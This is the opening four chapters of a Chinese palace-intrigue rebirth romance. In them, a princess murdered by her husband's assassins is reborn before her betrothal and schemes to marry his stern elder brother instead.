《兄夺(双重生)》
1. 第 1 章
秋日拂晓,天河倒泄。京城倾倒在一场突如其来的暴雨之中,皇宫掩在细密连绵的雨帘下,含香殿屋檐水流成柱。
雷声阵阵,寝宫之中,叶拂青额间沁出细密的汗珠,姝丽的面容被乍起的电光映得惨白,仿佛蒙了一层梦魇。
疼!她想大叫,但惊恐地张大嘴巴后,却声音嘶哑,辨认不出一个音节。
身下的紫檀木床似乎被雨水融化,变成冰冷的沼泽,她在其中越陷越深,越陷越深,直至被拉入鲜血淋漓、死不瞑目的最后一刻——
那日也是一个雨天,彼时的她同谢誉峤成亲三年,在约定一同离京的这天,她于城外小道翘首以待,但等来的不是谢誉峤,而是一队蒙面刺客。
狂风骤雨呼啸而过,让整个京郊的树木剧烈颤抖,绿叶零落成泥,不时有枝杈断裂,又被风雨抛向远处。
一柄利剑没入叶拂青胸口,将她牢牢钉在树干上。此时的她已然头昏眼花,低头只能看见汩汩鲜血从她身上淌下,砸进泥水里。
蒙面刺客们死死围住她,锋利的刀剑在她身上刻下一道道血痕,却始终不愿给她个痛快,像是谁豢养的鹰犬抓住了猎物,看着猎物在血泊中挣扎,以折磨取乐。
叶拂青分辨不清全身上下还有哪一处完好,她还需要等多少刀才能彻底死去,哪怕是疼得直冒冷汗,她也一声不吭,只是面带嘲讽,冷冷地看向围住她的蒙面刺客们。
疼痛和血水渐渐模糊了她的双眼,整个世界像是翻转过来,她看不清晰,恰如她从未看清过谢誉峤那般。自对他一见钟情,到成亲,再到相约离京前对方深情款款的承诺,她恍然觉得自己从未真正认清过他。
“谢誉峤呢?”叶拂青突兀开口,她的声音喑哑,每吐出一个字都感觉心肝连着喉咙一块儿震着疼。
无人回答她的话。
叶拂青咳了几口血,吐在几人脸上,瞧着他们同自己一样鲜血淋漓的脸,笑得很是畅快。
笑声刚在雨中碎开,她胸口的剑便被人狠狠用力,在骨肉中转了个圈,将她的血肉搅得四分五裂。
叶拂青的呼吸猛然一滞,心脏剧烈地绞痛着。这个时候她脑海里浮现出的,却是平远侯谢濯的脸。
两人是一母同胞的兄弟,五官相差无几,但一双丹凤眼在谢誉峤脸上显得柔和多情,放在谢濯身上便只有锋利冷漠。此时谢濯那双不带感情的眸子突兀地出现在她脑海中,隔着时空又淡然瞥向她。
叶拂青自嘲笑笑,缓过神来。
往日只听说谢濯手段残忍,为了折磨那些罪大恶极之人,会在他们身上用上百道私刑,让人生不如死。直到今日她才发现在这一点上,两兄弟竟然如出一辙。
叶拂青从濒死边缘中缓过神来,嗓音嘶哑:“谢誉峤敢让你们来杀我,却不敢承认吗?他……”
她的话只说了一半,天际一道惊雷突现,同时刀光从她面前一闪而过,下一瞬,止不住的鲜血灌进她嘴中,她被呛得直咳嗽,将全身上下仅剩的热血也吐了出来。她的嘴角连着大半张脸被划开,如果稍偏一些,她的眼睛此时估计已掉落在地。
一个蒙面人走上前来,将剑柄塞入她嘴中,让她再说不出话来。
叶拂青只感觉整张脸要被撕裂成两半,全身上下都在疼,疼得最终只能感受到麻木。
“公主何必苦苦不放?二公子与您早已夫妻离心,继续下去不过是互相折磨。”蒙面人开口。
叶拂青只觉好笑,分明是谢誉峤推三阻四不愿和离,今日离京一事也是他自请同她一起,同她何干?她向来不是非他不可的人。
但她半个字也说不出,只能听着对面的人继续说着。
“怪只怪公主天生好命却不懂人心,顺风顺水当了二十年的公主,想来是早已忘却这些殊荣本不属于你,合该是我们公主的。新仇旧怨一同算,便只能以命相抵。可怜我们公主和谢公子佳偶天成却遭拆散,直至今日才大仇得报,算是你走运。”
叶拂青眉头微皱,第一时间并没有反应过来这句话的指代,她正欲再问,便见站在后方一直默不作声的蒙面人走上前来,干脆利落地抹了她的脖子。
叶拂青再也问不出口,甚至没来得及对此荒谬之言产生任何波动。
……
轰隆!
猝然一道雷声,含香殿内烛火摇曳,气氛幽然。
叶拂青于噩梦中惊醒,冷汗止不住地渗出来,里衣被浸湿,黏糊糊地贴在身上。她大口大口地喘着粗气,僵硬又迟钝地摸了摸自己的脖颈,只摸到一手的汗,不是血。
霎时间她的脑中只余一片空白,犹如雪崩后的死寂和苍白。
是一场梦?
她只觉荒谬难以置信,但将自己的身子翻来覆去检查一番,也没看见任何伤痕,连成亲那年为救谢誉峤留下的腿疤也没有。
可是那般真实的死亡痛楚,让叶拂青知道绝不是梦。她眯缝着眼,环顾四周,目光所及之物无一不稀罕名贵。
含香殿?这不是她未出阁时的寝殿吗?
叶拂青怔愣一瞬,颤抖着抬起右手,青玉素镯轻巧地挂在她手腕处,凝脂相称,更显碧波荡漾。
这是皇叔父送她的及笄礼,只是成婚第二年便不见了,后来再见到这只玉镯,却是在某个春日宴上,她二妹的手上。
思绪有如一团杂线无从理起。为什么她还活着?为什么会回到含香殿?为什么所有的一切都保持在她未出嫁时的模样?
叶拂青头疼欲裂,脑中却频繁闪过她死前听到的最后一句话。
“我们公主和谢公子天生一对却遭拆散……”
她后知后觉反应过来,他们所说的公主,并不是她,而是她二妹,惊华公主——叶琼音。甚至于,他们并不单是谢誉峤派来的人,或许其中也有叶琼音的暗卫。
叶拂青缓慢眨了眨眼,酸涩的眼眶不经意流下了生理性的泪水,无声掉落在地。
解开一个结,所有事情也像一环扣一环,随之而解。
其实说起来,叶拂青算不上名正言顺的公主,她唤圣上一句叔父,圣上的兄长定王才是她生父。在父母为国战亡后,圣上怜她年幼、孤苦伶仃,破格封她为公主,赐居含香殿。
凭着太后和圣上的宠爱,叶拂青成了梁朝最尊贵的公主,吃穿用度都要比其他皇嗣好上不少,即使是皇后嫡出的惊华公主也落她几分。
也正因如此,她和叶琼音的关系愈发紧张,即使成婚后也未能改变这番状况。
因为,叶琼音也瞧上了谢誉峤,即便婚后也屡次传出他们二人有染的流言蜚语。
但叶拂青一直未将此事放在心上,在她心里,无论是她同叶琼音的关系,还是同谢誉峤的感情,都没有差到这
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般地步。她自认了解两人,认为他们做不出那般腌臜事。
但最终结果告诉她,她没法保证一个人的本心永远不会改变,也并不了解人的感情在哪一瞬间腐烂。
叶拂青正陷入回忆,一道清脆的呼唤声将她意识召了回来。
“公主,公主,怎的今日这般早便醒了?”一个丫鬟打扮的小姑娘端着水盆走进来,一脸担忧地看着她。
叶拂青从愁绪中抬眼看去,便见自小伴她左右的丫鬟夕照站在门口,她瞪大了眼,惊诧出声,“夕照?你怎么在这,你不是被我送出宫去了吗?”她分明记得自己出嫁时便遣散了侍奉的丫鬟,让她们出宫过自己的生活。
“公主,你在说什么胡话。”夕照嘟囔着嘴走过去,心想她准是又做梦了,“我怎么可能离开你呢。”
“你是活人?”叶拂青张大了嘴巴,手指颤抖地指了指夕照,又指了指自己,“我也是活人?”
夕照叹了口气,将面巾从水盆中捞出拧干,带了点力道铺在她脸上,一边揉一边说:“咱俩都活得好好的,公主不是还说带奴婢吃一辈子葡萄么?”
叶拂青愣住,由着她侍奉梳洗打扮,慢慢意识到,脑海中最不可能的猜想,被证实了。
她竟然重生了?!
往日寻乐打趣时看的话本也爱写姑娘被辜负后,化成怨鬼去索命,亦或是重生让仇人偿债。
叶拂青摸了摸自己光滑细腻的脸,呐呐问:“如今我年华几何?今日又是几月几日。”
夕照正细致地替她梳好发髻,闻言答:“公主今日是被梦魇住了?你如今已十七,今日是九月初一。”语毕,她又想起什么,嘿嘿地笑着,“陛下说在中秋宫宴上给您赐婚,算起来不过十来天就要和二公子定下喜事了,恭喜公主得偿所愿。”
叶拂青蹭的坐起身来,发簪掉落在地,“什么?!不日便要赐婚了?!”
夕照不明所以地看着她,抿了抿唇。
“怎的如此迟啊!”叶拂青长长叹了口气,她在房来回踱步,低头沉思着。她必不可能再同谢誉峤有什么瓜葛,也不想同叶琼音玩你争我抢的戏码。
如此这般。叶拂青望向窗外,此时天光渐亮,雨声渐息。
时间紧迫,她须得好好同祖母商议一番。
叶拂青下了决心,一边往外走一边说,“夕照,我去同祖母说会话,不用跟来,你去内务府将这个月的葡萄份例领了吧。”
夕照不解地看着她离开,又垂涎欲滴地点了点头。
含香殿离永寿宫不过数里步,赐居此殿,也是方便她同太后共享天伦之乐。
甫一进门,便见太后端坐于梨花楠木椅上,慢条斯理地品着茶。
上一世,太后在她婚后第二年便仙逝。此时再见,叶拂青只觉隔了整整一个人生那么久,她细细描摹着对方的面容,眼中的泪几乎要决堤。
但在对方抬眼看来的前一秒,叶拂青敛起情绪,换上往日活泼爱撒娇的神情。
“汉阳给皇祖母请安,祖母顺遂安康。”叶拂青安分行礼,维持不过一秒便又没了正形,可怜兮兮地看着太后。
太后看到她这般模样不觉气恼,反倒笑弯了眼,柔声问:“什么事把我们混世魔头都难倒了?”
“祖母!”叶拂青娇嗔一句,眨巴着双眼试探问,“赐婚一事……能作废吗?”
2. 第 2 章
太后眉头微皱,不明白此前还吵着闹着非谢誉峤不可的人怎么突然变了卦,她轻柔地抚着叶拂青的头发,语重心长地说:“谢二本攀不上你,但因着你喜欢,我和陛下便随你心意去了。如今陛下提拔谢家两位公子,向众人传达了要同谢家定亲的意思,又如何作废呢?天子所言所行,关乎皇家威严,不可轻易收回也不可轻言改变,你可知晓这个道理?”
叶拂青自然明白,她叹了口气,还想再挣扎一番,“中秋宫宴之时便要赐婚吗?”
太后点点头,尝试说些谢家的好处开解她,“谢家虽不是名门望族,但谢大公子却是个能顶事的。前年于北疆战事献策被皇帝封赏,去年受召回京,加官进爵,又封了平远侯,掌皇城司,前途无量。这谢二公子好歹同他一脉骨血,能力想必也不会差。”
才怪,谢誉峤跟他哥一点也不像。叶拂青腹诽道。
谢誉峤是个标准的纨绔公子,一看便知从小受宠,长大了也无需考虑太多,养成了一副闲散德行。而叶拂青喜欢的就是他这幅恬淡寡欲的模样。
而他哥谢濯呢,素有活阎王之称。不仅因为他从刀山火海里闯出来,更因为他杀伐果决、残酷冷血的雷霆手腕,能将没落家族重整旗鼓的人,能是什么好相与的。即便在进府那三年里,叶拂青每次见到谢濯,对方都是一副要将人生吞活剥的冷酷表情。
叶拂青想起两人,吐了吐舌头,“两个都不怎么样。”
烦闷地胡思乱想了会儿,她的思路突然转了个弯,随即便甚是不怀好意地笑起来,“祖母,倘若成婚后不满意,可能和离?”
“这是自然,谁敢委屈了我的乖孙女我第一个将他问罪。”太后气势很足,将她牢牢护在怀里。
叶拂青夸张地大笑起来,紧紧回抱住太后,撒娇道:“如果必须要赐婚的话,能不能将人选改成谢家大公子。刚才听祖母一番话,我突然觉得大公子才是孙女此生良人。”
太后被她这番话说愣了,反应过来后手指轻刮她鼻尖,调笑道,“我倒是不知晓我们汉阳如此三心二意。不过我瞧着陛下只模糊传达要与谢家定亲一事,并没有指定是哪一位公子。只是因着你一向爱慕谢二,大家便理所当然认为是他了。”
叶拂青抬起头来,眼睛里冒着狡黠的光,“这个意思就是能改喽?”
“改与不改,得问陛下的意思。”太后笑着说,“你去求他一番,自是能改的。”
叶拂青得了肯定回答,底气便更足了,她扑在太后怀里,笑眯了眼。
既然这婚躲不过,那叶拂青便好好利用一番。他谢誉峤敢跟她妹妹不清不楚,叶拂青就敢当他嫂子。
前世谢濯公务繁忙常年不住家,谢宅便只有她和谢誉峤,连婆婆也鲜少见到。
今生应当也没什么不同,谢濯向来不喜她,成亲后那连表面夫妻也不必做。谢濯只需忙他的正事,她正好可以暗中调查前世的事。
思及此,叶拂青不由地轻轻笑了笑。
等前世的死仇查清楚,有恩报恩有怨报怨,她就和谢濯和离,离开京城去江南,过她喜欢的闲云野鹤的日子。
叶拂青同太后又说了会儿闲话,不多时,李嬷嬷走上前来,恭敬禀告,“娘娘,小太监传话来说,陛下已经下朝,正于御书房批奏章呢。”
太后揉着叶拂青的头,抬眼问:“让后厨准备的荷花酥可备好了?”
“都已准备妥当。”李嬷嬷点点头,将食盒捧上。
叶拂青从太后怀中坐起,颇为不解地看着二人。
“还等什么?”太后用眼神示意她接过,笑眯眯地看着她,“我怎会不知你的性子?现下有了主意哪还等得了明日,但万事不可太鲁莽,你借着这个由头去寻你叔父吧。”
叶拂青未曾想到太后替她考虑了如此之多,当日死时的委屈霎时涌上来,她低头掩饰了自己神情的异样,再次扑到太后怀中。“祖母,全天下只有你最爱我,我也最爱祖母了。”
倘若前世祖母尚未离世,旁人是断不敢欺负到她头上来的。
“怎的还哭了?”太后用手帕擦去她眼角的泪,语重心长地说:“我知晓我已陪不了你多久,如今你不愿成家,倘若老了该何等孤单呢?我实在不愿看到你孤苦无依一个人过完此生。”
叶拂青想说其实成不成亲,她最终都只能一个人过完余生,但看着太后眼中闪烁的泪光,还是把话咽了下去。
太后没有将话点破,叶拂青却知晓其中深意。倘若日后没了太后的倚仗,她一个得宠到让人眼红的公主,在这宫中对所有人来说都是眼中钉肉中刺。皇帝日理万机,是没法方方面面顾及到她的。许配一个各方面都不错的夫君,此时看来当是一个不错的选择,谁也无法预料更加久远的事。
“嗯。”叶拂青重重点头,步伐有些沉重地走了。
御书房门口仍旧是张公公在守着,叶拂青在宫里向来上跳下蹿,和谁都混了个脸熟。
“张公公。”叶拂青客气道,说:“还望公公通传一声,汉阳奉太后之命特来送些点心。”
“回公主,现在恐怕……”张公公有些为难地看着她。
叶拂青一时不解,未等她问,房中皇帝叶鸿信的声音传了出来,“尽忠,让汉阳进来吧。”
“是。”张公公笑着替她打开门,迎她进去。
甫一进门,她便察觉到有些许不同之处。一旁的椅子似乎被挪动过,再联想方才张公公阻拦之言,叶拂青反应过来这其中还有第三个人在。
只是,叔父为何要让对方避不见人?
叶拂青面上神情不变,朝叶鸿信端正行了个礼,“皇叔父。”
“今日汉阳竟有空来看朕,往日不都是追着谢家二公子到处跑吗?”叶鸿信调侃道,眉眼间敛去威严,尽是笑意。
叶拂青走过去将茶点放在桌上,没因他的打趣而有半点局促,只转了个话题,“祖母说近日叔父忙于政事,许是疲于口腹之欲,特让汉阳送了叔父最喜爱的荷花酥过来。”
“倒是嘴甜。”叶鸿信笑着从碟中拾起一块儿荷花酥细细品尝,朝她看去,“还是孩时的味道。”
叶拂青仍在思酌这第三人是谁,不经意对上叶鸿信的视线,只见他意有所指地冲她点点头,继而朝左侧的梁柱使了个眼神。
叶拂青疑惑地皱起眉头,一时没能理解对方的暗示。
明明避而不见却又让她知晓的,理当和她有些关系才对,而且这关系,似乎带了几分不可言说的“朦胧暧昧”之意?
“日日追着谢家二公子……”
她恍然将先前这句话同一系列暗示结合起来,几乎已经能确定在场的第三人就是谢誉峤。
只是,谢誉峤为何会在这?婚事难不成要板上钉钉了?
叶拂青的心咯噔一下,此时失了先机,她不由得有些着急,既想尽快将赐婚人选改正,又想趁机讥讽谢誉峤一把。
思来想去,她转身走到书案正前方,跪下朝叶鸿信磕了个头,再开口时是少有的正经语气
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,“皇叔父体恤臣民,常说知错能改善莫大焉,不知这句话,放在汉阳身上,可还算数?”
叶鸿信少见她这般严肃认真,虽有几分疑惑,但还是肯定道,“那是自然,汉阳在朕这一向当是大错化小,小错化了。”
叶拂青得了话,心定了不少,继而说:“自去年上元灯节街头一见,汉阳便自以为对谢家二公子一见倾心。直到昨日,汉阳才知晓,那日救下汉阳的是谢家大公子,无论是当时一见钟情还是将我救出危险之人,都是谢家大公子而非二公子啊。汉阳识人不清,错将顽石当美玉,也错付了一腔真情。”
她又磕了个头,认真道:“此番闹剧本是汉阳识人不清所致,不该叨扰皇叔父。但汉阳实在不想就此错过谢大公子,去同那二公子成亲。所以特此来恳请陛下,将赐婚的人选改成谢家大公子吧。”
“你是说你喜欢的其实是是谢家大公子?”叶鸿信因她这一番话而怔住,颇有些难以置信地问。
“绝无半句虚言。”叶拂青抬起头来看着他,神情恳切认真。
叶鸿信沉默一瞬,觉得今日这事颇有趣味,他不过是想让叶拂青在未来夫兄面前留个好印象,怎么突然两人牵扯到一块儿了?
他蓦地笑出声来,朝藏于柱后的人唤道,“谢卿,如此真心你可听清了?”
叶拂青心中对谢誉峤的愤懑早已压不住,她收起在皇帝面前的伪装,满脸厌恶地回过头去,这是这一看,她便愣住了。
身着玄色锦袍的男子缓缓走出,步伐从容,哪怕做了偷听之事也未见半分窘迫,倒是坦然的很。
谢濯?!
叶拂青惊诧抬头,一眨不眨地看着那张同谢誉峤有几分相似的脸。
谢誉峤无论是脸亦或气质,都是标准的玉面小生,无由来地带着一种亲近感,如人间皎月。
但眼前这位不同,只肖一眼便能知道,这个人不好接近,甚至也难以生起想要同他亲近的想法。
明明是极为端正的一张脸,但多年浸染在厮杀和争斗中,便只戾气寒意,看不出半点公子模样了。
京城人人都在议论,说这位侯爷虽然位高权重,在皇帝面前是个红人,但无人敢去接近。毕竟都传言他是豺狼转世,所有人在他眼中都只是猎物,因为是猎物,所以只需看价值,无需攀感情。
叶拂青忽地有些烦躁,前世谢濯就对她不喜,一直冷眼相待。现下还当着正主的面作伪撒谎,印象又要差上几分,整个开局处处都在出错。
她的视线如此直白,像匕首般落在谢濯脸上,似乎要将他的脸划开,换个人来。
换谁呢?谢濯心中冷笑,居高临下地瞥了她一眼。瞧见她眼中的慌乱与惊诧,他那双不带温度的眼眸才罕见地有了点情绪,只不过是嘲讽之意。
“禀陛下,听得甚是清楚。”谢濯的尾音若有若无地上挑几分,像故意加重“清楚”二字,落在叶拂青耳中,同挑衅无异。
叶鸿信脸上笑意不减,问:“不知谢卿的意思是?”
“微臣只有耳朵听清了公主的心意,但这颗心却仍旧未能感受到。”谢濯淡淡开口。
这番话说得虽委婉却也讽刺,不就是说她虚情假意么。
叶拂青藏好心中情绪,拍了拍衣袖站起身来,并不在乎他话语中的讽意,端着一副少女怀春的面容,柔声说:“不知侯爷在此,爱慕之情一时间表露,较为激动,许是多了几分矫饰之意。”
话音刚落,只听见他轻呵一声,并不多言。
3. 第 3 章
叶拂青只将他的嘲讽当做耳旁风,左耳朵进右耳朵出。
正如谢濯冷漠地将所有人当做猎物一般,叶拂青也只将他当成一枚棋子,只要能让她摆脱前世轨迹,她不介意这颗棋子是黑是白,是不是长了嘴会咬人。
“皇叔父。”叶拂青不再同他争辩,看向叶鸿信,“依您看,汉阳此前对二公子的所言所行,可当得起一句‘真情真心’?”
“这是自然。”叶鸿信哈哈大笑几声,对于叶拂青的事,他总是要更八卦几分,“我们汉阳可是连追了谢二公子一年之久呢,好不容易确定了对方的心意便急匆匆叫我赐婚。”
倒也不必再补充一句。叶拂青嘴角不明显抽了抽,接上正题,“但那都是基于我将他错认成侯爷的前提下,倘若一开始便是侯爷,侯爷还会怀疑我的真心吗?”
说到最后,她的语气中甚至带了几分委屈。
谢濯依旧沉着脸,瞧不出心中所想,过了会,他才出声,“公主真是伶牙俐齿。”
叶拂青抬眸朝他看去,娇羞中带了几分狡黠地笑起来,正好露出左边的小虎牙,“嗯,侯爷很了解我呢。”
“汉阳,你啊……”叶鸿信宠溺地叹了口气,权衡一番后开口道,“当时也是确认了谢二公子的心意我才答应为你赐婚,此时虽说是认错人,但谢卿同你……”
“皇叔父,我……”叶拂青正欲再争取一番,但看见叶鸿信朝她摆摆手便止住了话头。
“成婚是两个人的事,须得俩人心意相通,婚后日子才能美满。”叶鸿信认真道,“如今离中秋宫宴还有十余天,到了宫宴那日,倘若谢卿有意,那朕自然会为你二人赐婚;倘若谢卿仍旧不愿,朕也不能强人所难,一切便照旧吧。”
这番话一出,叶拂青便知皇帝心意已决,谢濯毕竟是他如今的股肱之臣,的确不宜闹僵。只是这样一来,她便只能自行让谢濯点头答应才行。
叶拂青不着痕迹靠近谢濯几分,手还未扯上他的衣袖,谢濯便抬手向叶鸿信作揖,“陛下,微臣还有要务在身,先行告退。”
“嗯,回吧。”叶鸿信点点头,主动替叶拂青找借口,“汉阳也一同走吧,朕今日的奏折还尚未批完呢。”
叶拂青神情自若地将手收回来,感激地朝叶鸿信笑笑,匆匆行礼后便跟在谢濯身后出去了。
谢濯的步子迈得很大,丝毫没有等她的意思。
叶拂青亦步亦趋跟在身后,思酌着该如何说服他。
她知晓谢濯重利,能以利相诱最为恰当。但她未曾参与朝政,手中也无实权。她有的金银财宝谢濯也有,她能得皇帝青睐而谢濯也受皇帝重视。
思来想去,还真是不知该用何方法让他同意。
谢濯听着身后阴魂不散的脚步声以及金钗珠翠的碰撞声。
堂堂一国公主为何如此随性而为,也不知自家弟弟是看上了她哪一处。
谢濯转过身去,想要再度拒绝,便见一座小山朝他撞了过来。
叶拂青此时正神游天外,哪能注意到谢濯已经停住脚步。她半点没收着力,直直撞入他怀中,慌乱中一抬头,又狠狠砸中他的下巴。
“疼。”叶拂青先叫出声,一边揉着额头一边后退几步。
谢濯的声音难得有些怒意,“公主,我敬你一声公主,但并不代表臣可以任您折辱。我虽不知你的目的是什么,但也清楚地知道公主谎话连篇、三心二意。在公主眼里,婚姻大事便是一句朝令夕改的戏言?”
叶拂青还是第一次见他说这么长一段话,生气时倒不再冷得像个雕塑,有些活人气息了。
“你会说话啊。”叶拂青笑着说,显然偏离了重点,“谢二公子和侯爷一母同胞,长得极为相似,我向来眼盲,认错人不是情理之中么?”
谢濯冷声道,“公主说这话时,可不怕闪了舌头?”
“为何要怕?”叶拂青弯腰凑近,对上他的眼睛,颇有耐心地给他一件事一件事地解释,“元夕那日,我不慎‘引火上身’,侯爷不是将我救出了吗?救人一事非我捏造,错认一事也非我本心,侯爷为何不愿信我呢?”
谢濯同样一眨不眨地回看她,想要从她表情中找出破绽,叶拂青倒是坦然任他打量。
谢濯意味不明地笑了,“公主贵人多忘事,那日究竟是怎么一回事,还需要臣帮您回忆回忆吗?”
叶拂青神情一滞,又想起去年上元灯节。
月上柳梢,沿河街道热闹非凡,人头攒动,灯似萤火。
彼时叶拂青刚同谢誉峤分别,心情甚好,随着人潮往最热闹的小巷走。
“走水了!走水了!”人群中一道惊呼。
叶拂青伸长了脖子去看那道窜天的火光,还未弄明白究竟发生了何事,便猝不及防被人提着衣领扔进河中。
她倒在河中被呛了好几口水,即使处于愣神中也不忘拽住对方的衣袖不让他走。
“你有病啊!走水了救火啊你扔我干嘛?”叶拂青回过神来便怒骂道。
谢濯轻啧一声转过头来,叶拂青只见一张同先前那位公子极为相似的脸,但眉眼间尽是狠厉之色。
叶拂青再次愣住,今天怎的会发生如此多让她猝不及防的事。
“谢誉峤?”叶拂青不确定地问。
谢濯淡淡看着他,“我先前只听说汉阳公主任性妄为,没想到眼睛也不怎么好。”
“认识我啊?”叶拂青稀奇出声,拽着他的手慢慢站起来,“听他们说,谢誉峤能在京城潇洒自在,都只是托他哥的福狐假虎威罢了。这么看来,你就是他们家那只老虎?”
说完,叶拂青先一步笑出声来,觉得颇为有趣。
谢濯也笑,带了点讽意,“公主有些时候迟钝地令臣佩服,都火烧裙子了还能安然去凑热闹,现下呢,还有闲情雅致同臣开玩笑。”
“什么?”叶拂青难以置信地低头看去,只见裙摆被火燎得卷起,整件衣裳的长度瞬间
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缩减到膝盖下一寸。
谢濯“好心”解释道前因,“闹巷之中花灯众多,一处走水,火势极易蔓延,只是某些傻兮兮的人还在观望着要去看发生了什么。”
叶拂青皱了皱眉,“就算是救人,那你有必要直接将我往水里扔吗?故意将我推倒呛水你又怎么解释?”
她瞧着对方站在凸起的石头上,长身玉立,只有长靴湿了几分,心中更加不平衡了。
“嗯,故意的。”谢濯说完这句话便快步离开,他还得指挥将火势控制下来。
叶拂青被他这句话气得不清,用眼神狠狠剜着他的背影。
“你给我等着!”叶拂青愤愤道,小跑几步上了岸,随便寻了个成衣铺换了衣裳。
叶拂青是个非常记仇且急性子的人,尤其表现在她今日吃的苦今日就要报复回来。所以,她蹲守在暗处,片刻不离,只等这人收拾好残局后下手。
“这小老虎还挺威风。”叶拂青看着步履不停来回指挥的男人,腹诽道。
叶拂青手撑着脑袋,看着火势慢慢被扑灭,一时间摩拳擦掌。
她现在,立刻,马上,就要让这人也尝尝被呛水的滋味。
谢濯只见到暗处蹿出一道黑影,还未来得及反应便被撞入河中,双双跌落水中。
叶拂青不管不顾地坐在他身上,使劲按住他脑袋往水里摁,算着从他身上讨回双倍利息才意犹未尽地松开手。
她低头,兴致盎然地欣赏谢濯“输给她”的模样。
谢濯在混乱中眨着眼,浓长的睫毛被水濡湿,上面挂着的细碎水珠随他的动作而簌簌颤抖。因为呛水,他整张脸都染上了一层绯红,倒有几分靡丽魅惑之色。
叶拂青不由自主地伸出手去碰了碰他的眼睛。
“松手。”谢濯呵斥道,但下一秒又被呛了口水。
叶拂青笑起来,不挪动一分一毫,她手指轻挑对方的下巴,调侃道:“没想到小老虎还有这样一面呢?不咬人的时候倒是挺漂亮的嘛。”
“公主此举,不合礼数。”
“在乎那些虚的规矩干什么?”叶拂青瞧见他这幅桀骜不驯的模样就烦,又狠狠按住他的脑袋灌了几口水进去,“我只在意我高不高兴,谁让我不开心,我必须得报复回来啊你说对不对?”
谢濯不说话。
叶拂青并不在意,突然兴起,想要找出他和谢誉峤长相上的不同点来。
“你跟你弟弟还真是截然不同,一个让我厌烦,一个让我欣喜。”叶拂青说。
她细细观察着,手下意识摸上他的右耳,这里有一颗,小小的,不太明显的红痣。
“红色的痣,真稀奇,像耳饰一样。”叶拂青说。
夜色淌在水中,少女身着胭脂罗裙,一张脸比周身灯火还要明艳几分,但偏偏嘴角总是噙着一抹淡淡的调笑,玩世不恭。
谢濯盯着这张脸,倏然移开了目光,“叶拂青,日后可莫要忘了今日。”
4. 第 4 章
“公主可记得还清楚?”谢濯开口,将她神游的思绪拉了回来。
“和侯爷的初见我怎么会忘呢?”叶拂青笑着回看他。
其实算起来,两人只有初见时闹得最凶,哪怕当时放了狠话,之后再见也权当陌生人。叶拂青忙着招猫逗狗,哪处潇洒便去哪处快活,同谢濯这般攀龙讬凤的人八竿子也打不着。
谢濯紧抓她话中漏洞,步步紧逼,“所以公主的意思是,当日分明已知晓我非谢誉峤,也仍旧认错了?”
叶拂青轻笑一声,“侯爷为何非要问个明白?我往日究竟是瞧上了谁有何关系,只要我此时想要嫁的人是你不就行了?谁还没有年少无知,芳心错许的经历呢?”
“还是说,其实你是故意这般说话,想借此多了解了解我?”
“公主果真手段了得。”谢濯嗤笑一声,打断她的话,“臣要出宫,与公主不同路,就此别过吧。只是今早雨急,地面湿滑,公主回去,可得小心些。”
叶拂青仍是笑着,“侯爷也是。”
她看着他走出好一段路,又觉得气不过,对着他的影子狠狠踹了几脚。
真难缠!无论何时都不是个好相与的家伙。
叶拂青叹了口气,一边思考着一边朝含香殿走。此时又将往日的仇翻到明面上算,她该如何才能说服对方呢。
刚踏入含香殿,便见夕照坐在庭院中,认真地数着青瓷碗中的葡萄。
“第十二颗。”叶拂青走过去,试图扰乱她的数数。
夕照嘟囔着嘴不满地看着她,说了句“幼稚”,便继续数着。
“我不愿同谢誉峤成亲,但谢濯又是怎么说都说不通的,愁死我了。”叶拂青哭丧着一张脸,郁闷道。
“谢濯?平远侯?”夕照被她的话吓了一跳,手中葡萄掉落,将数数的事儿抛之脑后,“公主你怎么突然要跟平远侯成亲?你不是最不喜欢玩弄权势又总是冷着一张脸的人了么?”
叶拂青叹了口气,“现下不是考虑喜不喜欢的事,我有不得不跟他成亲的理由。”
夕照没再多问,只是有些可惜,“公主花了那么长时间去了解谢二公子的喜好,好不容易两人关系更近一步,就要如此放弃了么?”
叶拂青此时并没有多余的心情和精力去感伤她往日的付出,她只想着如何才能尽快说服谢濯。听到夕照的话,她呐呐反问,“投其所好?”
“啊?”夕照一脸茫然地看着她。
叶拂青揉了揉她的头,心思定下来,她现在对谢濯无甚了解,自然寻不到突破口,无论是威逼还是利诱,不都得“投其所好”么?
既已想明白,叶拂青便不再迟疑,她唤道,“骆饶。”
话音刚落,影卫便不知从何处跳出,站在她眼前。
“今夜开始你潜入侯府,替我好好监视平远侯的一举一动,若有机会,最好能将他的秘密挖出来。”叶拂青不怀好意地笑起来,补充道,“但要记住,无论什么时候,保命要紧。如有意外,想尽一切办法让我知道。”
“遵命。”骆饶回道,须臾间又没了踪影。
……
戌时,平远侯府。
一道黑色魅影悄无声息地潜入侯府。侯府构造的图纸并不难寻,骆饶藏于暗处,小心翼翼地听着动静。
院子里响起仆人行礼的声音,谢濯大约是刚散值回府,还穿着官袍,没有朝书房的方向去,而是进了谢誉峤的房间。
待房门合上,骆饶紧随其后,翻身上了屋顶。挪开了半片瓦片后,屋内的情景便分毫不差地纳入眼中。
“今日皇城司不忙么?”谢誉峤把玩着手中的白玉珠串,语气漫不经心。
“该处理的事都处理好了。”谢濯的视线落在那串珠串上,深潭般的眸子幽邃冰冷。
骆饶的视线也随他目光看去,白玉温润无瑕,只肖一眼便知是最上乘的玉。如此品相的玉,应当只有宫中贵人才有,那赠礼之人,便不言而喻了。
片刻后,谢濯淡淡移开了视线,坐到另一旁的檀木椅上:“你心悦汉阳公主?”
谢誉峤啪的一声将珠串放在桌上,轻笑道:“哥你是说答应赐婚一事?我不过是哄她玩。”
“哄她玩需要把自己的后半生搭进去?”谢濯的嗓音含了一丝怒意,“你想糊弄皇家是糊弄不过去的,倘若你不喜欢,就是娶了个麻烦回来。你又不是不知晓她的性子,哪家纨绔子弟都不及她半分。”
谢誉峤沉默一瞬,“麻烦那日后和离便好。”
“荒唐!圣上的赐婚并非儿戏。”谢濯站起身来,面上的神情冷得可怖,“我今日只问你一句,你是不是心悦汉阳公主?”
谢誉峤盯着桌上的珠串许久,“我从未喜欢过汉阳公主,无论今时还是往日。”
“好。今日进宫,汉阳公主请求圣上更改赐婚人选。倘若我同她成亲,你可能接受?”
“我记得兄长喜欢端庄稳重的姑娘,怎么——”
谢濯又说了句什么,但声音很低,骆饶只听清了零星几个字眼,低头想再近一些时,只撞见了谢濯望过来的冷冽眼瞳。
“何人夜闯侯府。”似笑非笑的一句话,叫人遍体生寒。
